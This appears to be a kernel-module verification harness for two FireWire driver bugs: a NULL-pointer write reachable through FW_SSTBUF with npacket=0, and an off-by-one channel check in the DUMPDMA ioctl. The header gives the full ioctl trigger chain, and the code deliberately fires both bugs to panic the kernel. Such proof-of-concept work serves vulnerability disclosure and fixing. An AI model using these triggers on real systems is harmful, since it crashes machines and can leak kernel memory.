/*
 * DF-5302 / DF-5303 verification harness.
 *
 * DF-5302 — NULL-pointer WRITE (kernel panic) in fwohci_db_init()
 *     sys/bus/firewire/fwohci.c:1253
 *     reached from fwohci_irx_enable()  fwohci.c:1606-1608  (RX) and
 *                fwohci_itxbuf_enable() fwohci.c:1485-1487  (TX) with
 *     dbch->ndb = xferq->bnpacket * xferq->bnchunk == 0.
 *
 *     Production trigger chain (statically verified, path:line):
 *       open("/dev/fw0.0")                       fwdev.c:157
 *       ioctl(FW_SSTBUF, {rx.nchunk=8, rx.npacket=0, rx.psize=512})
 *         fwdev.c:504-506  bcopy(ibufreq, &d->bufreq)  -- NO validation
 *       ioctl(FW_SRSTREAM)                        fwdev.c:475
 *         fwdev_allocbuf                          fwdev.c:95
 *           fwdma_malloc_multiseg(n = 8*0 = 0)    fwdev.c:108-109
 *             returns a VALID am with nseg == 0   fwdma.c:160 (howmany(0,k)==0)
 *           flag |= FWXFERQ_EXTBUF                fwdev.c:134
 *         fc->irx_enable == fwohci_irx_enable     fwohci.c:728
 *           dbch->ndb   = 0 * 8 == 0              fwohci.c:1606
 *           dbch->ndesc = 2                       fwohci.c:1607
 *           fwohci_db_init(sc, dbch)              fwohci.c:1608
 *             for (idb = 0; idb < 0; ...)         fwohci.c:1229  (skipped)
 *             STAILQ_LAST(&dbch->db_trq, ...)->link.stqe_next = ...
 *                                               fwohci.c:1253
 *             db_trq is EMPTY -> STAILQ_LAST == NULL (sys/sys/queue.h)
 *             -> write at NULL + offsetof(fwohcidb_tr, link) == 0x0
 *
 *     TX twin: FW_STSTREAM (fwdev.c:447) + first fw_write() ->
 *     fwohci_itxbuf_enable (fwohci.c:1471) -> same db_init at :1487.
 *
 * DF-5303 — DUMPDMA ioctl channel-bound off-by-one:
 *     fwohci.c:372  `if (*dmach <= OHCI_MAX_DMA_CH)` allows ch == 0x44
 *     (OHCI_MAX_DMA_CH == 0x4+0x20+0x20 == 0x44, fwohcireg.h:88), but the
 *     valid IR channel indices are 0..0x43:
 *       dump_db(sc, 0x44): dbch = &sc->ir[0x44-0x24] = &sc->ir[0x20]
 *                          ONE PAST ir[OHCI_DMA_IRCH] (fwohcivar.h:64) --
 *                          past the END of fwohci_softc -> adjacent heap
 *                          read (ndb/top), then a wild STAILQ walk
 *                          (fwohci.c:2271-2303 derefs unvalidated
 *                          garbage pointers).
 *       dump_dma(sc, 0x44): OHCI_IRCTL(0x20) = 0x800 -- MMIO read past
 *                          the 2 KB OHCI register file.
 *
 * The harness compiles the PRODUCTION sys/bus/firewire/fwohci.c into the
 * module (via #include) so the static production functions run unchanged.
 * The only synthetic state is the bus_space (bst = MEM tag, bsh = a plain
 * kernel-memory block: on x86_64 bus_space_read_4/write_4 with the MEM
 * tag are direct memory accesses, sys/cpu/x86_64/include/bus_dma.h:139-162)
 * and the FireWire bus state itself -- no FireWire controller exists on
 * the QEMU guest (hardware-gated finding).
 *
 * fwohci.c's global symbols are renamed via -D in the Makefile so they do
 * not collide with the copy already compiled into the guest kernel
 * (X86_64_GENERIC has `device firewire`).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/bus.h>

/* PRODUCTION source: statics (fwohci_db_init, fwohci_irx_enable, dump_db)
 * become callable in this translation unit. */
#include <bus/firewire/fwohci.c>

static int	df5302_mode = 1;	/* 1 = DF-5302, 2 = DF-5303 */
static int	df5302_trigger = 0;

SYSCTL_INT(_kern, OID_AUTO, df5302_mode, CTLFLAG_RW, &df5302_mode, 0,
    "harness case: 1=DF-5302 db_init ndb=0, 2=DF-5303 dump_db ch 0x44");
SYSCTL_INT(_kern, OID_AUTO, df5302_trigger, CTLFLAG_RW, &df5302_trigger, 0,
    "write 1 to fire the harness case (expect a kernel panic)");

/*
 * DF-5302: drive the PRODUCTION fwohci_irx_enable() with exactly the
 * xferq state fwdev_allocbuf() leaves after FW_SSTBUF{npacket=0}.
 */
static void
df5302_run_irx_enable(void)
{
	struct fwohci_softc *sc;
	struct fw_xferq *ir;
	char *regs;
	int error;

	sc = kmalloc(sizeof(*sc), M_FW, M_WAITOK | M_ZERO);
	regs = kmalloc(0x1000, M_FW, M_WAITOK | M_ZERO);

	/* fake MMIO window (plain kernel memory on x86_64 non-IO tags) */
	sc->bst = X86_64_BUS_SPACE_MEM;
	sc->bsh = (bus_space_handle_t)regs;

	/* state exactly as fwdev_allocbuf() + FW_SSTBUF produced it */
	sc->fc.nisodma = 8;				/* probed channels */
	ir = &sc->ir[0].xferq;
	ir->flag = FWXFERQ_STREAM | FWXFERQ_EXTBUF;	/* fwdev.c:133-134 */
	ir->bnchunk = 8;				/* FW_SSTBUF rx.nchunk */
	ir->bnpacket = 0;				/* FW_SSTBUF rx.npacket */
	ir->psize = 512;				/* FW_SSTBUF rx.psize */
	ir->dmach = 0;

	kprintf("DF5302: sizeof(fwohci_softc)=%zu sizeof(fwohcidb_tr)=%zu "
	    "offsetof(fwohcidb_tr,link)=%zu\n",
	    sizeof(*sc), sizeof(struct fwohcidb_tr),
	    offsetof(struct fwohcidb_tr, link));
	kprintf("DF5302: calling production fwohci_irx_enable() with "
	    "bnpacket*bnchunk = %u*%u = 0 -- expect NULL write panic at "
	    "fwohci.c:1253\n", ir->bnpacket, ir->bnchunk);

	error = fwohci_irx_enable(&sc->fc, 0);	/* production fwohci.c:1586 */

	kprintf("DF5302: SURVIVED fwohci_irx_enable, returned %d "
	    "(baseline expects panic; fixed kernel expects EINVAL)\n", error);
}

/*
 * DF-5303: drive the PRODUCTION dump_db() with ch == OHCI_MAX_DMA_CH,
 * the off-by-one value the DUMPDMA ioctl accepts (fwohci.c:372).
 */
static void
df5303_run_dump_db(void)
{
	struct fwohci_softc *sc;
	struct fwohci_dbch *oob;
	char *regs;

	/*
	 * ir[OHCI_DMA_IRCH] is one past the ir[] array.  ir[] is NOT the
	 * last member of fwohci_softc (fwohcivar.h:64-70): the phantom
	 * fwohci_dbch at &sc->ir[32] TYPE-CONFUSES the softc tail:
	 *   phantom->ndb       == sc->maxrec       (nonzero after reset:
	 *                                             speed+8, fwohci.c:521)
	 *   phantom->db_trq.stqh_first == sc->sid_buf (and stqh_last ==
	 *                          sc->sid_dma.dma_tag)
	 *   phantom->top       == sc->sid_dma.dma_map (fwdma.h:40 -- a REAL
	 *                          kernel heap pointer once fwohci_init()
	 *                          loaded the SID buffer map, so on hardware
	 *                          the walk always follows bus_dmamap_impl
	 *                          internals as a descriptor ring and
	 *                          print_db() leaks them to the console)
	 * so on real hardware dump_db() ALWAYS walks (ndb != 0) and follows
	 * sid_dma/sid_buf fields as an fwohcidb_tr ring.  We emulate the
	 * post-reset state and make the first hop (STAILQ_NEXT of the
	 * "top") fault at 0x10.
	 */
	sc = kmalloc(sizeof(*sc), M_FW, M_WAITOK | M_ZERO);
	regs = kmalloc(0x1000, M_FW, M_WAITOK | M_ZERO);
	sc->bst = X86_64_BUS_SPACE_MEM;
	sc->bsh = (bus_space_handle_t)regs;

	sc->maxrec = 10;		/* sc->fc.speed+8, fwohci.c:521 */
	sc->sid_dma.dma_map = (bus_dmamap_t)0x10;	/* phantom dbch->top */

	oob = (struct fwohci_dbch *)&sc->ir[OHCI_DMA_IRCH];
	kprintf("DF5303: sc=%p sizeof=%zu &sc->ir[0x20]=%p is %zd bytes "
	    "past ir[0] (%zu into the %zu-byte softc tail alias)\n",
	    sc, sizeof(*sc), &sc->ir[OHCI_DMA_IRCH],
	    (char *)&sc->ir[OHCI_DMA_IRCH] - (char *)&sc->ir[0],
	    (char *)&sc->ir[OHCI_DMA_IRCH] - (char *)&sc->maxrec + 1,
	    sizeof(*sc));
	kprintf("DF5303: phantom dbch->ndb(=maxrec)=%u phantom->top"
	    "(=sid_dma.dma_map)=%p\n", oob->ndb, oob->top);
	kprintf("DF5303: calling production dump_db(sc, OHCI_MAX_DMA_CH=0x44)"
	    " -- expect fault at 0x10 inside the STAILQ walk\n");

	dump_db(sc, OHCI_MAX_DMA_CH);		/* production fwohci.c:2236 */

	kprintf("DF5303: SURVIVED dump_db (unexpected)\n");
}

static int
df5302_sysctl_trigger(SYSCTL_HANDLER_ARGS)
{
	int error, t = df5302_trigger;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	df5302_trigger = t;
	if (t) {
		if (df5302_mode == 2)
			df5303_run_dump_db();
		else
			df5302_run_irx_enable();
	}
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, df5302_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df5302_sysctl_trigger, "I", "fire the DF-5302/5303 case");

static int
df5302_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("DF5302: harness loaded (production fwohci.c "
		    "compiled in); kern.df5302_mode=%d "
		    "kern.df5302_fire=1 to trigger\n", df5302_mode);
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (ENOTSUP);
	}
}

static moduledata_t df5302_mod = { "df5302", df5302_modevent, NULL };
DECLARE_MODULE(df5302, df5302_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
